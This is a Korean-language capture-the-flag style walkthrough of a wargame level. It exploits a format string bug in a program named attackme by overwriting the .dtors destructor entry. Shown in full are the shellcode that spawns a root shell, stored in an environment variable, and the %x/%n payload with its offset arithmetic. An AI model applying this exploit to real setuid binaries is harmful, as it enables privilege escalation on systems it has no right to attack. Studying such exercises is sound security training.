SMALL
level20 // we are just regular guys
대망의 마지막 문제!
배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다.
그럼 무엇을 쓰면 좋을까?
다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다.
이것은 FSB(Format String Bug)취약점이 발생하게 된다.
포맷스트링 에는 여러가지가 있다.
- %c : 단일문자 출력
- %x : 부호없는 16진수 출력
- %n : 이전까지 쓰인 byte 수만큼 저장
FSB에서 가장 중요한 포맷스트링은 %x, %n 이다.
%x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때!
먼저 메모리 구조를 대충 읽어봐야하야 하기에 포맷스트링을 이용해 보았다.
RET 의 주소를 알기 위해 gdb 를 이용하려고 했다.
흠 심볼이 없다고 한다.. 어떻게 해야하지?
일단 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다.
SH의 페이로드는 다음과 같다.
export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
등록한 후 주소를 알아 보았다.
little endian : \x61\xfe\xff\xbf
파일을 실행하며 규칙을 찾아 보려고 했다.
AAAA %d %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
bleh 다음으로 (20642520 25207825 78252078) * 6 연속적으로 나온다음 8002520 42130a14 이 최대이다.
이렇게 삽질을 하고 난뒤
%x,d 를 하면 esp - 4바이트 만큼 이동하는 것을 알 수 있다.
printf, fets를 다 읽고 난 뒤 bleh에 입력한 값을 가리킨다.
여기 문제에서 힌트를 통해 어떤것이 사용되는 지를 알아보았다.
- .dtors = 소멸자(destructor)
- 모든 실행 파일에는 _do_global_dtors()라는 함수가 존재
- 이 함수는 .dtors + 4번째 있는 메모리주소에 0이 아닌값이 있을 경우 실행됨
힌트를 통해 ret대신 소멸자를 덮어 쓰기로 했다.
objdump -h 옵션으로 심볼을 출력한뒤 소멸자 부분의 주소를 찾아 내었다.
소멸자의 주소는 0x08049594 에서 +4 를 한 0x08049598 이다.
먼저 간단한 페이로드로는 다음과 같다.
앞에 AAAA를 넣어주는 이유 : %c도 포맷 스트링이기에 4byte를 처리를 해줘야한다.
%x를 해주게 되면 \x4f는 1바이트(길이가 2)이기 때문에 %8x로 크기(%8x는 4byte 길이는 8)를 맞춰줘서 ret 주소가 들어있는 버퍼로 이동시켜준다.
[AAAA] + [.dtors소멸자 주소 + 4 ] + [%8x] *3 + [%(환경변수주소)c%n]
그런데 환경변수주소가 10진수로 바꾸면 3,221,225,057
4byte의 최대 표현 범위인 2,147,483,647 를 넘는다. 그렇다면 나눠 줘야 한다.
환경변수주소1 은 .dtors소멸자 주소 + 4 , 환경변수주소 2 는 .dtors소멸자 주소 + 6 로 넣어준다.
[AAAA] + [.dtors소멸자 주소 + 4 ] + [AAAA] + [.dtors소멸자 주소 + 6 ] + [%8x] *3 + [%(환경변수주소1)c%n] + [%(환경변수주소2)c%n]
버퍼에는 낮은주소-> 높은주소 순이다.
리틀 엔디엔을 적용해서 넣어 준다면
49151 65121
[AAAA] + [\x98\x95\x04\x08] + [AAAA] + [\x9a\x95\x04\x08] + [%8x] *3 + [%65120c%n] + [%49151c%n]
이렇게 넣어주면 된다.
하지만 여기서 놓치고 있는것이 있는데 앞에서 사용한 byte 수들을 모두 고려해야한다.
[AAAA] + [\x98\x95\x04\x08] + [AAAA] + [\x9a\x95\x04\x08] + [%8x] *3
%n 까지도 들어간다. 그러므로 위의 부분의 길이를 빼줘야 한다. 4 + 4 + 4 + 4 + 24 = 40
환경변수주소 1 (FE60) : 65120 - 40 = 65080
환경변수주소 2 (BFFF) :
49151-65120 = 여기서 잠깐! 음수계산을 하기위해 16진수로 계산하여 역으로 1BFFF - FE60 해준뒤 10진수로 표현해준다.
계산결과 : C19F ( 49567 )
(python -c 'print "AAAA" + "\x98\x95\x04\x08" + "AAAA" + "\x9a\x95\x04\x08" + "%8x" * 3 + "%65080c%n" + "%49567c%n"';cat) | ./attackme
후.. 며칠을 했는지 모르겠다.. 꽤나 어려웠던 문제 도움도 많이 받고 혼자힘으로 입문(?) 을 푼 느낌은 아니였다. LOB 올클 하러가야지